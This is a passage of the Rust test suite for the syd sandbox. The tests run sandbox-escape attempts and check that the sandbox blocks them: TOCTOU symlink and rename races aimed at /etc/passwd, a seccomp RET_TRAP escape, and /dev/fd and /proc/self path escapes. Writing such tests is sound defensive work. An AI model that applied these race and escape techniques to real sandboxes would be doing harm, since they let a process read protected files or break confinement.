    if (WIFEXITED($status)) {{
        $code = WEXITSTATUS($status);
        die "process $i did not dump core but exited with code $code\n";
    }} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
        warn "process $i dumped core as expected\n";
    }} else {{
        die "process $i exited unexpectedly with status $status\n";
    }}
}}

# Ensure segvguard suspension expires.
warn "waiting 10 seconds for segvguard suspension to expire...";
sleep 10;

# Now segvguard must allow.
$pid = fork();
if ($pid == 0) {{
    exec('{syd_do}') or exit($!); # Exit with the actual errno
}}
waitpid($pid, 0);
$status = $?;
if (WIFEXITED($status)) {{
    $code = WEXITSTATUS($status);
    die "process did not dump core but exited with code $code\n";
}} elsif (WIFSIGNALED($status) && wcoredump($status)) {{
    warn "process dumped core as expected\n";
}} else {{
    die "process exited unexpectedly with status $status\n";
}}

1;
    "#,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_symlink_toctou() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,symlink:on")
        .m("allow/read,stat,write,create,symlink+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create,symlink+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("symlink_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_symlinkat_toctou() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create,symlink:on")
        .m("allow/read,stat,write,create,symlink+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create,symlink+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("symlinkat_toctou", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_chdir_1() -> TestResult {
    skip_if_strace!();

    let status = syd()
        .log("error")
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/var/empty/***")
        .do_("ptrmod_toctou_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_chdir_2() -> TestResult {
    let status = syd()
        .log("error")
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/var/empty/***")
        .do_("ptrmod_toctou_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_exec_fail() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .do_("ptrmod_toctou_exec_fail", NONE)
        .status()
        .expect("execute syd");
    assert!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_exec_success_quick() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_exec_success_double_fork() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_exec_success_quick_no_mitigation() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_quick", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_exec_success_double_fork_no_mitigation() -> TestResult {
    skip_if_strace!();
    // Test requires /bin/false to be denylisted.
    // false may point to various alternatives such
    // as gfalse, coreutils, busybox etc.
    let f = Path::new("/bin/false").canonicalize().expect("/bin/false");
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/toctou_exec")
        .m("filter/exec+/**/toctou_exec")
        .m(format!("deny/exec+{}", f.display()))
        .m(format!("filter/exec+{}", f.display()))
        .do_("ptrmod_toctou_exec_success_double_fork", NONE)
        .status()
        .expect("execute syd");
    const EXKILL: i32 = 128 + nix::libc::SIGKILL;
    assert!(
        matches!(status.code().unwrap_or(127), 0 | EXKILL),
        "status:{status:?}"
    );
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_open() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_creat() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/write,create+/**/deny.syd-tmp*")
        .m("filter/write,create+/**/deny.syd-tmp*")
        .do_("ptrmod_toctou_creat", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_ptrmod_toctou_opath_default() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,stat,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // By default we turn O_PATH to O_RDONLY so there's no TOCTOU.
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exp_ptrmod_toctou_opath_unsafe() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_open_path:1")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("allow/stat+/etc")
        .m("deny/stat+/etc/**")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,stat,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    fixup!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_mmap() -> TestResult {
    skip_if_strace!();
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .m("filter/exec+/**/lib-bad/*.so")
        .do_("vfsmod_toctou_mmap", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_file_off() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_file_deny() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_path_off() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_path_deny() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_connect_unix() -> TestResult {
    skip_if_strace!();
    // Prepare the benign socket which is an unbound UNIX domain socket.
    mknod("./benign", SFlag::S_IFSOCK, Mode::S_IRWXU, 0)?;

    // Prepare the malicious socket which is a bound UNIX domain socket.
    let sock = socket(
        AddressFamily::Unix,
        SockType::Stream,
        SockFlag::empty(),
        None,
    )?;
    let addr = UnixAddr::new("./malicious")?;
    bind(sock.as_raw_fd(), &addr)?;
    listen(&sock, Backlog::MAXCONN)?;
    symlink("./malicious", "./symlink")?;

    // We run the attacker and listener thread unsandboxed,
    // to increase the likelihood of the race.
    eprintln!("Forking background malicious listener process...");
    let listener = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Accept a connection on the malicious UNIX socket.
            let r = match accept(sock.as_raw_fd()) {
                Ok(fd) => {
                    eprintln!("Malicious listener escaped the sandbox!");
                    let _ = close(fd);
                    0
                }
                Err(errno) => errno as i32,
            };
            unsafe { nix::libc::_exit(r) };
        }
    };

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    nix::libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    nix::libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    nix::libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    nix::libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/net/connect:on")
        .m("allow/net/connect+/***")
        .m("deny/net/connect+/**/malicious")
        .m("filter/net/connect+/**/malicious")
        .do_("vfsmod_toctou_connect_unix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background processes...");
    let _ = kill(attacker, Signal::SIGKILL);
    let _ = kill(listener, Signal::SIGKILL);

    Ok(())
}

fn test_syd_seccomp_set_mode_strict_old() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "seccomp_set_mode_strict_old")
        .status()
        .expect("execute syd-test-do");
    assert_status_signaled!(status, libc::SIGKILL);

    let status = syd()
        .p("off")
        .do_("seccomp_set_mode_strict_old", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .do_("seccomp_set_mode_strict_old", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_seccomp_set_mode_strict_new() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "seccomp_set_mode_strict_new")
        .status()
        .expect("execute syd-test-do");
    assert_status_signaled!(status, libc::SIGKILL);

    let status = syd()
        .p("off")
        .do_("seccomp_set_mode_strict_new", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .do_("seccomp_set_mode_strict_new", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_seccomp_ret_trap_escape_strict() -> TestResult {
    // Step 0: Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to truncate this file.
    let mut file = File::create("./truncate_me")?;
    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // SAFETY: We're going to reopen the file in the last step
    // to make absolutely sure that the sandbox break happened!
    drop(file);

    let status = syd()
        .p("off")
        .m("sandbox/read,truncate:on")
        .m("allow/read,truncate+/***")
        .m("deny/read+/dev/null")
        .m("deny/truncate+/**/truncate_me")
        .do_("seccomp_ret_trap_escape", ["./truncate_me"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // Step -1: Check if the victim file was truncated, which confirms
    // the sandbox break without relying on the exit code of the
    // (untrusted) `syd-test-do' process.
    let file = File::open("./truncate_me")?;
    assert_ne!(file.metadata()?.len(), 0);

    Ok(())
}

fn test_syd_seccomp_ret_trap_escape_unsafe() -> TestResult {
    // Step 0: Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to truncate this file.
    let mut file = File::create("./truncate_me")?;
    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // SAFETY: We're going to reopen the file in the last step
    // to make absolutely sure that the sandbox break happened!
    drop(file);

    // SAFETY: Test with trace/allow_unsafe_cbpf:1 to confirm the validity of the PoC.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .m("sandbox/read,truncate:on")
        .m("allow/read,truncate+/***")
        .m("deny/read+/dev/null")
        .m("deny/truncate+/**/truncate_me")
        .do_("seccomp_ret_trap_escape", ["./truncate_me"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Step -1: Check if the victim file was truncated, which confirms
    // the sandbox break without relying on the exit code of the
    // (untrusted) `syd-test-do' process.
    let file = File::open("./truncate_me")?;
    assert_ne!(file.metadata()?.len(), 0);

    Ok(())
}

fn test_syd_io_uring_escape_strict() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 1: Default is strict.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write,create+/etc/passwd")
            .do_("io_uring_escape", ["0"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }
    Ok(())
}

fn test_syd_io_uring_escape_unsafe() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 2: Relax uring restriction.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write,create+/etc/passwd")
            .m("trace/allow_unsafe_uring:1")
            .do_("io_uring_escape", ["1"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

fn test_syd_opath_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create+/etc/passwd")
        .do_("opath_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_8() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_8", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_9() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_9", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_10() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_10", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_11() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_11", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_12() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_12", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_13() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_13", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_14() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_14", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_15() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_15", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_16() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_16", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_17() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_17", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_18() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_18", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_19() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_19", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_20() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_20", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

